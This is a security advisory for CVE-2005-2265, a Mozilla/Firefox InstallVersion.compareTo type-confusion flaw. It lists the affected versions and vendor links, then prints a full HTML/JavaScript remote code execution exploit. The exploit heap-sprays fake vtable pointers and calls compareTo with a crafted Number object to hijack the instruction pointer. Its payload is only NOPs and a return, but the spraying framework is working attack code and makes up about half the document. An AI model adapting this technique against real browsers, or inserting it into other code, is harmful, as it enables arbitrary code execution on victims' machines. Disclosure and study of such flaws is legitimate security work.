Summary
Attackers can cause a DoS and execute arbitrary code on Gecko based browsers by using the Javascript function InstallVersion.compareTo with an object instead of the supposed string.

Credit:
The information has been provided by Aviv Raff.
The original article can be found at: http://aviv.raffon.net/
The vendor advisory can be found at: http://www.mozilla.org/security/announce/mfsa2005-50.html
The vendor bug report can be found at: https://bugzilla.mozilla.org/show_bug.cgi?id=295854

Details
Vulnerable Systems:
* Firefox version 1.0.4 and prior
* Mozilla Suite version 1.7.8 and prior
* Netscape version 8.0.2
* Netscape version 7.2

Immune Systems:
* Firefox 1.0.5 and above
* Mozilla Suite version 1.7.9 and above

When InstallVersion.compareTo() is passed an object rather than a string it assumed the object was another InstallVersion without verifying it. When passed a different kind of object the browser would generally crash with an access violation.

shutdown has demonstrated that different Javascript objects can be passed on some OS versions to get control over the instruction pointer. We assume this could be developed further to run arbitrary machine code if the attacker can get exploit code loaded at a predictable address.

CVE Information:
CVE-2005-2265

Exploit:
< html>
< head>
<!--
Copyright (C) 2005-2006 Aviv Raff
From: http://aviv.raffon.net/2005/12/11/ MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
Greets: SkyLined, The Insider and shutdown
-->
<title>Mozilla (Firefox<=v1.04) InstallVersion->compareTo Remote Code Execution Exploit</title>
<script language="javascript">

function BodyOnLoad()
{
location.href="javascript:void (new InstallVersion());";
CrashAndBurn();
};

// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
function CrashAndBurn()
{
// Spray up to this address
var heapSprayToAddress=0x12000000;

// Payload - Just return..
var payLoadCode=unescape("%u9090%u90C3");

// Size of the heap blocks
var heapBlockSize=0x400000;

// Size of the payload in bytes
var payLoadSize=payLoadCode.length * 2;

// Caluclate spray slides size
var spraySlideSize=heapBlockSize-(payLoadSize+0x38); // exclude header

// Set first spray slide ("pdata") with "pvtbl" fake address - 0x11C0002C
var spraySlide1 = unescape("%u002C%u11C0");
//var spraySlide1 = unescape("%u7070%u7070"); // For testing
spraySlide1 = getSpraySlide(spraySlide1,spraySlideSize);

var spraySlide2 = unescape("%u002C%u1200"); //0x1200002C
//var spraySlide2 = unescape("%u8080%u8080"); // For testing
spraySlide2 = getSpraySlide(spraySlide2,spraySlideSize);

var spraySlide3 = unescape("%u9090%u9090");
spraySlide3 = getSpraySlide(spraySlide3,spraySlideSize);

// Spray the heap
heapBlocks=(heapSprayToAddress-0x400000)/heapBlockSize;
//alert(spraySlide2.length); return;
memory = new Array();
for (i=0;i<heapBlocks;i++)
{
memory[i]=(i%3==0) ? spraySlide1 + payLoadCode:
(i%3==1) ? spraySlide2 + payLoadCode: spraySlide3 + payLoadCode;
}

// Set address to fake "pdata".
var eaxAddress = 0x1180002C;
// This was taken from shutdown's PoC in bugzilla
// struct vtbl { void (*code)(void); };
// struct data { struct vtbl *pvtbl; };
//
// struct data *pdata = (struct data *)(xxAddress & ~0x01);
// pdata->pvtbl->code(pdata);
//
(new InstallVersion).compareTo(new Number(eaxAddress >> 1));
}

function getSpraySlide(spraySlide, spraySlideSize) {
while (spraySlide.length*2<spraySlideSize)
{
spraySlide+=spraySlide;
}
spraySlide=spraySlide.substring(0,spraySlideSize/2);
return spraySlide;
}